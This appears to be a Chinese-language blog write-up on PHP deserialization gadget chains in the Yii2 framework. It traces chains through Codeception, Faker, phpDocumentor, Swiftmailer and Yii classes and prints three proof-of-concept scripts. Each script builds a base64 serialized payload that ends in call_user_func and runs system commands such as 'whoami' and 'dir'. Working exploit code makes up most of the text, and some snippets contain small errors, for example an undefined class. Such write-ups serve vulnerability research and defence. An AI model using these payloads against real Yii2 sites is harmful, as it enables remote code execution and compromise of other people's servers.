开始找反序列化的入口点,
namespace Codeception\Extension;
__destruct() 调用stopProcess() 然后会调用isRunning() ,processes 变量是可控的会调__call() 函数,然后接上之后的反序列化的链子。继续往下看。
namespace Faker;
__call() 调用format() 函数,这里有一个回调函数来使用。然后getFormatter() 函数,但是这里的formatters 变量是可控的,那么这里只需要调用一个无参的函数即可。 那么我们继续寻找无参的函数,根据之前的审计经验来看,直接找到。IndexAction.php 下的run() 方法。
namespace yii\rest;
整理一下构造的思路:
namespace Codeception\Extension\RunProcess::__destruct()==>stopProcess==>$this->processes
||
\/
namespace Faker\Generator::__call()==>format()==>$this->getFormatter
||
\/
namespace yii\rest\IndexAction::run()
POC1
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
function __construct(){
$checkAccess = 'phpinfo()';
$id = '1';
}
}
}
namespace Faker{
use yii\rest\IndexAction;
class Generator{
protected $formatters;
function __construct(){
$this->formatters['isRunning'] = [new IndexAction(),'run'];
}
}
}
namespace Codeception\Extension{
use Faker\Generator;
class RunProcess{
private $processes;
function __construct(){
$this->processes = [new Generator()];
}
}
}
namespace{
// 生成poc
echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
?>
POC2
Swift_KeyCache_DiskKeyCache
有字符串拼接,继续构造链子__tostring() ,全局搜索。
namespace phpDocumentor\Reflection\DocBlock\Tags;
然后之后就是正常的调用__call() ,还是用之前的链子。
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'dir';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
// 这里需要改为isRunning
$this->formatters['render'] = [new CreateAction(), 'run'];
}
}
}
namespace phpDocumentor\Reflection\DocBlock\Tags{
use Faker\Generator;
class Version{
protected $description;
public function __construct()
{
$this->description = new Generator();
}
}
}
namespace{
use phpDocumentor\Reflection\DocBlock\Tags\Version;
class Swift_KeyCache_DiskKeyCache{
private $keys = [];
private $path;
public function __construct()
{
$this->path = new See;
$this->keys = array(
"axin"=>array("is"=>"handsome")
);
}
}
// 生成poc
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>
POC3
和最开始的哪一条链子一样,还是一样的入口。 \yii\vendor\yiisoft\yii2\web\DbSession.php 这个类中的close() 方法
按照之前的思路是通过调用一个拥有__call() 的类,然后调用另外一个函数然后继续调用。现在的思路是通过构造一个拥有close的类。
然后还是需要有一个另外一个继承的类的函数。会调用\vendor\yiisoft\yii2\web\MultiFieldSession.php 中的composeFields() 方法,因为是继承此类的,看到这个方法。
利用call_user_func() 函数能够将实例化对象作为数组传递给函数,因为我们可控$this->writeCallback ,然后赋值[new \yii\rest\IndexAction($func, $param), "run"]; 调用之前终点的方法,再进行RCE。这里也是调用无参的方法。
<?php
namespace yii\rest {
class Action
{
public $checkAccess;
}
class IndexAction
{
public function __construct($func, $param)
{
$this->checkAccess = $func;
$this->id = $param;
}
}
}
namespace yii\web {
abstract class MultiFieldSession
{
public $writeCallback;
}
class DbSession extends MultiFieldSession
{
public function __construct($func, $param)
{
$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
}
}
}
namespace yii\db {
use yii\base\BaseObject;
class BatchQueryResult
{
private $_dataReader;
public function __construct($func, $param)
{
$this->_dataReader = new \yii\web\DbSession($func, $param);
}
}
}
namespace {
$exp = new \yii\db\BatchQueryResult('system', 'whoami');
echo(base64_encode(serialize($exp)));
}
call_user_func_array和call_user_func
call_user_func_array call_user_func
|